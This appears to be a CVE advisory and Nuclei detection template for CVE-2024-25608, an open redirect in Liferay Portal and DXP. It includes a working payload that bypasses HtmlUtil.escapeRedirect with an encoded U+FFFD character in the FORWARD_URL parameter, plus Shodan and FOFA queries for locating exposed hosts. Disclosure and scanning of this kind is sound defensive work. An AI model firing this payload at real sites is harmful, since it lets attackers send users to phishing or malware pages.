HtmlUtil.escapeRedirect in Liferay Portal 7.2.0 through 7.4.3.18, and older unsupported versions, and Liferay DXP 7.4 before update 19, 7.3 before update 4, 7.2 before fix pack 19, and older unsupported versions can be circumvented by using the 'REPLACEMENT CHARACTER' (U+FFFD), which allows remote attackers to redirect users to arbitrary external URLs via the (1) 'redirect` parameter (2) `FORWARD_URL` parameter, (3) `noSuchEntryRedirect` parameter, and (4) others parameters that rely on HtmlUtil.escapeRedirect.
PoC
id: CVE-2024-25608
info:
name: Liferay Portal - Open Redirect
author: daffainfo
severity: medium
description: |
HtmlUtil.escapeRedirect in Liferay Portal 7.2.0 through 7.4.3.18, and older unsupported versions, and Liferay DXP 7.4 before update 19, 7.3 before update 4, 7.2 before fix pack 19, and older unsupported versions can be circumvented by using the 'REPLACEMENT CHARACTER' (U+FFFD), which allows remote attackers to redirect users to arbitrary external URLs via the (1) 'redirect` parameter (2) `FORWARD_URL` parameter, (3) `noSuchEntryRedirect` parameter, and (4) others parameters that rely on HtmlUtil.escapeRedirect.
impact: |
Attackers can redirect users to arbitrary external URLs, potentially leading to phishing or malware distribution.
remediation: |
Update to the latest supported versions of Liferay Portal and DXP, applying all security patches.
reference:
- https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/cve-2024-25608
- https://github.com/liferay/liferay-portal/commit/aea651fa5110934b6a00d93391fac87985e27786
- https://github.com/liferay/liferay-portal/commit/36adf82ef7a09c7035d4f19a1982dcde1ae3f6ae
- https://nvd.nist.gov/vuln/detail/CVE-2024-25608
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-25608
epss-score: 0.0096
epss-percentile: 0.59796
cwe-id: CWE-601
cpe: cpe:2.3:a:liferay:digital_experience_platform:*:*:*:*:*:*:*:*,cpe:2.3:a:liferay:liferay_portal:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: liferay
product: digital_experience_platform,liferay_portal
shodan-query: http.favicon.hash:129457226
fofa-query: icon_hash=129457226
tags: cve,cve2024,liferay,liferay-portal,digital-experience-platform,open-redirect,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/html/common/forward_jsp.jsp?FORWARD_URL=http://oast.me%EF%BF%BD@localhost"
matchers-condition: and
matchers:
- type: word
part: location
words:
- 'http://oast.me?@localhost'
- type: status
status:
- 302
# digest: 4b0a00483046022100e18f4e46976105e550021bde9bdcf7e4cca740d7b221cb828fd7b0dbe50e7825022100935a7368d6add10f7297687d9b9da0d24e4c8d1c9ca1151553d3910ac2adc094:922c64590222798bb761d5b6d8e72950
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